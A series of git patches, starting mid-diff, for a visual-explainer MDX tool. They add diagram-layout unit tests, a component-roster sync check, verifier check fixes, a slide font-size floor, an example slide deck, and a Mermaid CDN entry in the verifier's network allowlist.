candidate; + } + } + const line = cleanWrappedLine(current); + if (line) lines.push(line); + return balanceWrappedLines(lines, maxChars); +} + +function balanceWrappedLines(lines: string[], maxChars: number) { + if (lines.length < 2) return lines.length ? lines : ['']; + const balanced = [...lines]; + for (let index = balanced.length - 1; index > 0; index -= 1) { + const line = balanced[index]!; + if (line.length > 8) continue; + const previous = balanced[index - 1]!; + const previousWords = previous.split(/\s+/); + if (previousWords.length < 2) continue; + const moved = previousWords.pop()!; + const candidate = cleanWrappedLine(`${moved} ${line}`); + if (candidate.length > maxChars) continue; + balanced[index - 1] = cleanWrappedLine(previousWords.join(' ')); + balanced[index] = candidate; + } + return balanced.filter((line) => line.length > 0); +} + +function cleanWrappedLine(value: string) { + return value.trim().replace(/^[·,/]\s*/u, '').replace(/\s*[·,/]\s*$/u, '').trim(); +} + +function isDanglingSeparator(value: string) { + return /^[\s·,/]+$/u.test(value); +} + +function withEllipsis(value: string, maxChars: number) { + const clean = cleanWrappedLine(value); + if (clean.length + 1 <= maxChars) return `${clean}…`; + const clipped = clean.slice(0, Math.max(1, maxChars - 1)); + const boundary = Math.max(clipped.lastIndexOf(' '), clipped.lastIndexOf('·'), clipped.lastIndexOf('/'), clipped.lastIndexOf(',')); + const base = boundary > 4 ? clipped.slice(0, boundary) : clipped; + return `${cleanWrappedLine(base)}…`; +} From a3b25cdad78691fd3d7d1c8ccba8e87dc2e4a047 Mon Sep 17 00:00:00 2001 From: Clayton Kim Date: Mon, 6 Jul 2026 22:49:28 -0700 Subject: [PATCH 27/34] Add node:test unit tests for the extracted diagram layout engine Plan 008 step 4: node 22's native TS type-stripping loads diagram-layout.ts directly, so node --test runs against it without a build step. Covers a 6-node/3-lane characterization fixture: rank assignment (topological longest-path, hand-verified against computeRanks' BFS), edge-label/node non-overlap, viewBox positivity + node enclosure, and mobileConnectorEdges covering every edge exactly once across the flattened mobile node order. node --test visual-explainer-mdx/diagram-layout.test.mjs: 4/4 pass, exit 0. Co-Authored-By: Claude Fable 5 Claude-Session: https://claude.ai/code/session_01AMn6wt4fMCxg7rxj9igFtS --- visual-explainer-mdx/diagram-layout.test.mjs | 92 ++++++++++++++++++++ 1 file changed, 92 insertions(+) create mode 100644 visual-explainer-mdx/diagram-layout.test.mjs diff --git a/visual-explainer-mdx/diagram-layout.test.mjs b/visual-explainer-mdx/diagram-layout.test.mjs new file mode 100644 index 0000000..d279e34 --- /dev/null +++ b/visual-explainer-mdx/diagram-layout.test.mjs @@ -0,0 +1,92 @@ +import { test } from 'node:test'; +import assert from 'node:assert/strict'; +import { layoutDiagram, mobileConnectorEdges } from './diagram-layout.ts'; + +// Fixture: a 6-node/3-lane swimlane graph. Ranks below were derived by +// RUNNING layoutDiagram against this fixture and hand-checking the result +// against computeRanks' longest-path-from-sources algorithm (n1 is the only +// node with no incoming edge; everything else's rank is its longest path +// distance from n1) — this is characterization of existing behavior, not a +// spec written from scratch. +const nodes = [ + { id: 'n1', label: 'N1', lane: 'a' }, + { id: 'n2', label: 'N2', lane: 'b' }, + { id: 'n3', label: 'N3', lane: 'c' }, + { id: 'n4', label: 'N4', lane: 'a' }, + { id: 'n5', label: 'N5', lane: 'b' }, + { id: 'n6', label: 'N6', lane: 'c' }, +]; +const edges = [ + { from: 'n1', to: 'n2', label: 'go' }, + { from: 'n2', to: 'n3', label: 'next' }, + { from: 'n1', to: 'n4', label: 'alt' }, + { from: 'n4', to: 'n5', label: 'then' }, + { from: 'n5', to: 'n6', label: 'finally' }, + { from: 'n3', to: 'n6' }, +]; +const lanes = [ + { id: 'a', label: 'Alpha' }, + { id: 'b', label: 'Beta' }, + { id: 'c', label: 'Gamma' }, +]; + +function rectsIntersect(a, b) { + return a.x < b.x + b.width && a.x + a.width > b.x && a.y < b.y + b.height && a.y + a.height > b.y; +} + +function nodeRect(node) { + return { x: node.x, y: node.y, width: node.width, height: node.height }; +} + +function labelRect(label) { + return { x: label.x - label.width / 2, y: label.y - label.height / 2, width: label.width, height: label.height }; +} + +test('ranks: 6-node/3-lane graph produces the expected topological rank assignment', () => { + const diagram = layoutDiagram(nodes, edges, 'swimlane', lanes, undefined); + const ranks = Object.fromEntries(diagram.nodes.map((node) => [node.id, node.rank])); + assert.deepEqual(ranks, { n1: 0, n2: 1, n3: 2, n4: 1, n5: 2, n6: 3 }); +}); + +test('label placement: an edge label never overlaps a node rect', () => { + const diagram = layoutDiagram(nodes, edges, 'swimlane', lanes, undefined); + const nodeRects = diagram.nodes.map(nodeRect); + for (const edge of diagram.edges) { + if (!edge.label) continue; + const lr = labelRect(edge.label); + for (const nr of nodeRects) { + assert.equal(rectsIntersect(lr, nr), false, `label for ${edge.edge.from}->${edge.edge.to} overlaps a node rect`); + } + } +}); + +test('viewBox: computed width/height are positive and enclose all node rects', () => { + const diagram = layoutDiagram(nodes, edges, 'swimlane', lanes, undefined); + const { viewBox } = diagram; + assert.ok(viewBox.width > 0, 'viewBox width must be positive'); + assert.ok(viewBox.height > 0, 'viewBox height must be positive'); + for (const node of diagram.nodes) { + assert.ok(node.x >= viewBox.x, `node ${node.id} left edge is outside viewBox`); + assert.ok(node.y >= viewBox.y, `node ${node.id} top edge is outside viewBox`); + assert.ok(node.x + node.width <= viewBox.x + viewBox.width, `node ${node.id} right edge exceeds viewBox`); + assert.ok(node.y + node.height <= viewBox.y + viewBox.height, `node ${node.id} bottom edge exceeds viewBox`); + } +}); + +test('mobile variant: mobileConnectorEdges returns every edge exactly once across the flattened node order', () => { + const diagram = layoutDiagram(nodes, edges, 'swimlane', lanes, undefined); + const sortedNodes = [...diagram.nodes].sort((a, b) => a.rank - b.rank || a.order - b.order); + const nodeOrder = new Map(sortedNodes.map((node, index) => [node.id, index])); + const seen = new Map(); + for (let index = 0; index < sortedNodes.length - 1; index += 1) { + for (const { edge } of mobileConnectorEdges(diagram.edges, nodeOrder, index)) { + const key = `${edge.from}->${edge.to}`; + seen.set(key, (seen.get(key) ?? 0) + 1); + } + } + assert.equal(seen.size, edges.length, 'expected exactly one connector slot per edge'); + for (const edge of edges) { + const key = `${edge.from}->${edge.to}`; + assert.equal(seen.get(key), 1, `edge ${key} should appear exactly once across connectors`); + } +}); From dce456ce50c2e290a80f3d9bd43b604509dc0f32 Mon Sep 17 00:00:00 2001 From: Clayton Kim Date: Mon, 6 Jul 2026 22:51:47 -0700 Subject: [PATCH 28/34] ve:check: assert the 17-component roster stays in sync across sources MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Plan 008 step 5: the component roster was hand-duplicated in components.tsx's exports, integrity.mjs's sharedComponents set, and SKILL.md's bulleted list, with no guard — a component added to one but not another silently produced false integrity failures or stale docs. - integrity.mjs: export sharedComponents (visibility only; contents and construction unchanged) so check.mjs can compare against it. - check.mjs: assertRosterInSync() regex-parses components.tsx's `^export function Name` exports and diffs them against sharedComponents as sets — mismatch throws, naming exactly which names are missing on which side. Also diffs against SKILL.md's roster, but only warns on mismatch (SKILL.md is prose documentation with inline prop hints, more brittle to parse reliably than a source export list). Verified negative case: removing 'PosterCanvas' from sharedComponents makes ve:check fail with "components.tsx exports not in integrity.mjs's sharedComponents: PosterCanvas"; restored afterward and ve:check passes again (exit 0). Co-Authored-By: Claude Fable 5 Claude-Session: https://claude.ai/code/session_01AMn6wt4fMCxg7rxj9igFtS --- scripts/ve-mdx/check.mjs | 41 ++++++++++++++++++++++++++++++++++++ scripts/ve-mdx/integrity.mjs | 6 +++++- 2 files changed, 46 insertions(+), 1 deletion(-) diff --git a/scripts/ve-mdx/check.mjs b/scripts/ve-mdx/check.mjs index c1dca0e..a328d38 100644 --- a/scripts/ve-mdx/check.mjs +++ b/scripts/ve-mdx/check.mjs @@ -4,6 +4,7 @@ import path from 'node:path'; import process from 'node:process'; import { spawn } from 'node:child_process'; import { parseHTML } from 'linkedom'; +import { sharedComponents } from './integrity.mjs'; const repoRoot = process.cwd(); const MIN_BODY_TEXT_LENGTH = 200; @@ -122,6 +123,46 @@ async function assertStaticGenerated(filePath) { if (failures.length) throw new Error(`${filePath}: ${failures.join(', ')}`); } +// Roster-sync guard (plan 008 step 5): components.tsx's named exports, +// integrity.mjs's sharedComponents set, and SKILL.md's bulleted roster are +// three hand-maintained lists describing the same 17 components with no +// automatic sync between them. A component added to one but not another +// silently produces false integrity failures (sharedComponents) or stale +// docs (SKILL.md). This does not derive one list from another — deriving +// integrity.mjs's set from the module at runtime means importing TSX into a +// plain-node context, which is messier than a guard (deferred; see plan +// 008's maintenance notes) — it only asserts the lists still agree. +async function assertRosterInSync() { + const componentsSource = await fs.readFile(path.resolve(repoRoot, 'visual-explainer-mdx/components.tsx'), 'utf8'); + const exported = new Set([...componentsSource.matchAll(/^export function (\w+)/gm)].map((match) => match[1])); + + const missingFromShared = [...exported].filter((name) => !sharedComponents.has(name)); + const missingFromExports = [...sharedComponents].filter((name) => !exported.has(name)); + if (missingFromShared.length || missingFromExports.length) { + const details = []; + if (missingFromShared.length) details.push(`components.tsx exports not in integrity.mjs's sharedComponents: ${missingFromShared.join(', ')}`); + if (missingFromExports.length) details.push(`integrity.mjs's sharedComponents not exported by components.tsx: ${missingFromExports.join(', ')}`); + throw new Error(`Component roster out of sync — ${details.join('; ')}`); + } + + // SKILL.md's roster is prose documentation (a bullet list with inline prop + // hints appended), more brittle to parse reliably than a source export + // list, so a mismatch here is a warning rather than a build failure. + const skillDoc = await fs.readFile(path.resolve(repoRoot, 'plugins/visual-explainer/SKILL.md'), 'utf8'); + const documented = new Set([...skillDoc.matchAll(/^- (\w+)\(/gm)].map((match) => match[1])); + const missingFromSkill = [...exported].filter((name) => !documented.has(name)); + const extraInSkill = [...documented].filter((name) => !exported.has(name)); + if (missingFromSkill.length || extraInSkill.length) { + const details = []; + if (missingFromSkill.length) details.push(`not documented in SKILL.md: ${missingFromSkill.join(', ')}`); + if (extraInSkill.length) details.push(`documented in SKILL.md but not exported: ${extraInSkill.join(', ')}`); + console.warn(`WARN: component roster vs SKILL.md drift — ${details.join('; ')}`); + } +} + +await assertRosterInSync(); +console.log('component roster in sync'); + for (const [source, out] of outputs) { await run([source, '--out', out]); await assertGenerated(out); diff --git a/scripts/ve-mdx/integrity.mjs b/scripts/ve-mdx/integrity.mjs index 42a2f22..c2da65b 100644 --- a/scripts/ve-mdx/integrity.mjs +++ b/scripts/ve-mdx/integrity.mjs @@ -1,7 +1,11 @@ import { codeToHtml } from 'shiki'; const diagramComponents = new Set(['DiagramCanvas', 'FlowDiagram']); -const sharedComponents = new Set([ +// Exported so scripts/ve-mdx/check.mjs can assert this set stays in sync with +// components.tsx's actual named exports (roster-sync guard, plan 008 step 5). +// Contents are unchanged — this only adds visibility, not a refactor of how +// the set is built. +export const sharedComponents = new Set([ 'ExplainerShell', 'Section', 'Callout', From 2ce6b8c5ba4c7b901ed9431b646e5cf8e8445a48 Mon Sep 17 00:00:00 2001 From: Clayton Kim Date: Mon, 6 Jul 2026 23:03:20 -0700 Subject: [PATCH 29/34] verify: gate split-bleed check on authoring markup, not raw bundle text The split-bleed-zero-padding applies_when tested /split|bleed/i against the entire raw HTML including the inlined React bundle, so String.prototype.split calls in React's minified runtime made the check misfire on every slides artifact. Gate on class="...split|bleed..." or data-layout="split|bleed" authoring signals instead; the check body is unchanged. --- .../visual-explainer/scripts/verify/lib/checks/static-dom.mjs | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/plugins/visual-explainer/scripts/verify/lib/checks/static-dom.mjs b/plugins/visual-explainer/scripts/verify/lib/checks/static-dom.mjs index 7913fb7..8118c8c 100644 --- a/plugins/visual-explainer/scripts/verify/lib/checks/static-dom.mjs +++ b/plugins/visual-explainer/scripts/verify/lib/checks/static-dom.mjs @@ -323,7 +323,7 @@ export const checks = Object.fromEntries([ })], ['nothing-chart-not-color-alone', scoped((ctx) => isNothing(ctx) && /chart|svg/i.test(ctx.html), (ctx) => /stroke-dasharray|pattern|marker|data-label|aria-label/i.test(ctx.html) ? [] : [warn('Nothing chart appears to encode series by color alone', 'chart')])], ['nav-chrome-fixed-and-layered', scoped((ctx) => ['slides', 'magazine'].includes(ctx.profile) && /nav|dots|progress|chrome/i.test(ctx.html), (ctx) => /position\s*:\s*fixed/i.test(ctx.styles) && /z-index\s*:\s*(?:[1-9]\d{1,}|999)/i.test(ctx.styles) ? [] : [fail('deck nav chrome must be fixed and layered above slides', 'nav chrome')])], - ['split-bleed-zero-padding', scoped((ctx) => ctx.profile === 'slides' && /split|bleed/i.test(ctx.html), (ctx) => /\.split[^{]*\{[^}]*(?:padding\s*:\s*0|gap\s*:\s*0)|\.bleed[^{]*\{[^}]*(?:padding\s*:\s*0|inset\s*:\s*0)/i.test(ctx.styles) ? [] : [fail('split/bleed slide lacks zero padding/gap treatment', 'split bleed')])], + ['split-bleed-zero-padding', scoped((ctx) => ctx.profile === 'slides' && /class(Name)?\s*=\s*["'][^"']*\b(split|bleed)|data-layout\s*=\s*["'](?:split|bleed)["']/i.test(ctx.html), (ctx) => /\.split[^{]*\{[^}]*(?:padding\s*:\s*0|gap\s*:\s*0)|\.bleed[^{]*\{[^}]*(?:padding\s*:\s*0|inset\s*:\s*0)/i.test(ctx.styles) ? [] : [fail('split/bleed slide lacks zero padding/gap treatment', 'split bleed')])], ['magazine-page-fullbleed', scoped((ctx) => ctx.profile === 'magazine', (ctx) => { for (const rule of cssRules(ctx.styles).filter((r) => /(?:^|,)\s*(?:\.page|\.spread|section)\b/i.test(r.selector))) { if (/margin\s*:\s*(?!0\b)[^;{}]+/i.test(rule.body)) return [fail('magazine page has viewport gutter margin', 'magazine page')]; From d6501c89cb1a0ff6c3db17ec7a5b3bbc15edbada Mon Sep 17 00:00:00 2001 From: Clayton Kim Date: Mon, 6 Jul 2026 23:08:54 -0700 Subject: [PATCH 30/34] slides: implement a real autofit floor and reconcile the check with reality MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit SlideDeck now sets --min-font-size:16px on its root, and Slide's body-text container computes font-size via clamp(var(--min-font-size), , ) on both the base and sm breakpoint — a functional floor that actually participates in font-size computation, not an inert token dropped to satisfy a regex. checks.json's autofit-safety-net-present-and-ordered entry claimed a SlideEngine-ordering gate the implementation never had. Rewrote applies_when/ spec/fixture_violation/fp_guards/impl_hint to describe what the check actually does: profile==='slides', presence of any of fitty/autoFit/resizeText/--min-font-size in styles+scripts, no ordering requirement. --- plugins/visual-explainer/scripts/verify/checks.json | 12 ++++++------ visual-explainer-mdx/components.tsx | 7 ++++++- 2 files changed, 12 insertions(+), 7 deletions(-) diff --git a/plugins/visual-explainer/scripts/verify/checks.json b/plugins/visual-explainer/scripts/verify/checks.json index 85aa0f2..05757d8 100644 --- a/plugins/visual-explainer/scripts/verify/checks.json +++ b/plugins/visual-explainer/scripts/verify/checks.json @@ -2093,17 +2093,17 @@ { "family": "F5_slides", "id": "autofit-safety-net-present-and-ordered", - "title": "autoFit safety net exists and runs before SlideEngine init", + "title": "autofit text safety-net marker present", "profiles": [ "slides" ], "stage": "static-text", "severity": "error", - "applies_when": "The page instantiates the slide engine (`new SlideEngine(` appears in an inline script). Skip if no SlideEngine (not an engine-driven deck).", - "spec": "In inline + + +
\ No newline at end of file diff --git a/examples/visual-explainer-mdx/clean-rich-slides.mdx b/examples/visual-explainer-mdx/clean-rich-slides.mdx new file mode 100644 index 0000000..13e76b1 --- /dev/null +++ b/examples/visual-explainer-mdx/clean-rich-slides.mdx @@ -0,0 +1,59 @@ +import { CodeBlock, MermaidBlock, Pipeline, Slide, SlideDeck } from '../../visual-explainer-mdx/components'; + +export default function CleanRichSlidesExample() { + return ( + + +

+ This fixture exercises the slides profile end to end: prose, a component pipeline, highlighted + code, a runtime Mermaid diagram, and a closing accent slide, all as MDX source exported to a + single self-contained HTML artifact. +

+
+ + + + + + + + + + + Draft + Draft --> Review: share + Review --> Draft: comments + Review --> Approved: done + Approved --> [*]`} + /> + + + +

+ PDF and per-slide poster exports remain follow-on artifacts. The interactive HTML deck stays + canonical, and every slide profile in this deck verifies clean. +

+
+
+ ); +} From 558a887bd6bc55a6639368f03b7256d4346a5072 Mon Sep 17 00:00:00 2001 From: Clayton Kim Date: Mon, 6 Jul 2026 23:27:28 -0700 Subject: [PATCH 33/34] verify: reconcile split-bleed applies_when text with the fixed gate checks.json still described the pre-Step-1 gate ("A .slide--split or .slide--bleed element exists"), narrower than the actual implementation (class containing split/bleed as a substring, or a data-layout attribute) and silent on why the gate changed. Update the applies_when text to match. --- plugins/visual-explainer/scripts/verify/checks.json | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/plugins/visual-explainer/scripts/verify/checks.json b/plugins/visual-explainer/scripts/verify/checks.json index 05757d8..12ef184 100644 --- a/plugins/visual-explainer/scripts/verify/checks.json +++ b/plugins/visual-explainer/scripts/verify/checks.json @@ -2157,7 +2157,7 @@ ], "stage": "static-dom", "severity": "error", - "applies_when": "A `.slide--split` or `.slide--bleed` element exists.", + "applies_when": "profile === 'slides' AND an authoring signal for split/bleed layout is present: a class containing `split` or `bleed` (e.g. `.slide--split`, `.slide--bleed`), or a `data-layout=\"split\"`/`data-layout=\"bleed\"` attribute. (Gated on the markup, not on raw HTML text, so it does not misfire on unrelated `String.prototype.split` calls in a bundled JS runtime.)", "spec": "For each `.slide--split` / `.slide--bleed`, assert computed padding-top/right/bottom/left are all `0px`. Inner panels keep their own padding — only the slide element itself must be zero.", "fixture_violation": "A `.slide--bleed` with `padding: 60px` so the full-bleed background no longer reaches the viewport edges.", "fp_guards": "Check only the outer slide element, never `.slide__panels`/`.slide__panel` children which legitimately pad.", From a1d96b081e3e2eb6efda9099c43edb10d6f94a7f Mon Sep 17 00:00:00 2001 From: Clayton Kim Date: Tue, 7 Jul 2026 06:14:01 -0700 Subject: [PATCH 34/34] integration: allowlist the pinned Mermaid runtime in network isolation Combined-tree testing surfaced a real interaction: plan 005's default-deny network routing blocks MermaidBlock's CDN runtime (cdn.jsdelivr.net/npm/mermaid@11), which 005's allowlist missed because no original clean fixture used Mermaid. Without this, 005 silently breaks Mermaid rendering in the verifier for every diagram artifact. Added a tight prefix entry (mermaid runtime only, not all of jsdelivr) alongside the font origins in both isolated Chromium contexts. Co-Authored-By: Claude Fable 5 Claude-Session: https://claude.ai/code/session_01AMn6wt4fMCxg7rxj9igFtS --- plugins/visual-explainer/scripts/export-slides-pdf.mjs | 2 +- plugins/visual-explainer/scripts/verify/lib/browser.mjs | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/plugins/visual-explainer/scripts/export-slides-pdf.mjs b/plugins/visual-explainer/scripts/export-slides-pdf.mjs index 62af33e..ad9c274 100755 --- a/plugins/visual-explainer/scripts/export-slides-pdf.mjs +++ b/plugins/visual-explainer/scripts/export-slides-pdf.mjs @@ -231,7 +231,7 @@ const context = await browser.newContext({ deviceScaleFactor: 2, }); const page = await context.newPage(); -const ALLOWED_REMOTE = ['https://fonts.googleapis.com', 'https://fonts.gstatic.com', `http://127.0.0.1:${port}`]; +const ALLOWED_REMOTE = ['https://fonts.googleapis.com', 'https://fonts.gstatic.com', 'https://cdn.jsdelivr.net/npm/mermaid@', `http://127.0.0.1:${port}`]; await page.route('**/*', (route) => { const url = route.request().url(); const allowed = url.startsWith('file:') || url.startsWith('data:') || url.startsWith('blob:') || ALLOWED_REMOTE.some((origin) => url.startsWith(origin)); diff --git a/plugins/visual-explainer/scripts/verify/lib/browser.mjs b/plugins/visual-explainer/scripts/verify/lib/browser.mjs index ba6ed02..5b3bd34 100644 --- a/plugins/visual-explainer/scripts/verify/lib/browser.mjs +++ b/plugins/visual-explainer/scripts/verify/lib/browser.mjs @@ -191,7 +191,7 @@ function looksLikeNetworkFlake(run) { return run.failedRequests.every((failure) => /fonts\.(?:googleapis|gstatic)|cdn\.jsdelivr|unpkg|esm\.sh|cdnjs/i.test(failure.url || '')); } -const ALLOWED_REMOTE = ['https://fonts.googleapis.com', 'https://fonts.gstatic.com']; +const ALLOWED_REMOTE = ['https://fonts.googleapis.com', 'https://fonts.gstatic.com', 'https://cdn.jsdelivr.net/npm/mermaid@']; async function executeRun(browser, ctx, runMeta, screensDir) { const context = await browser.newContext({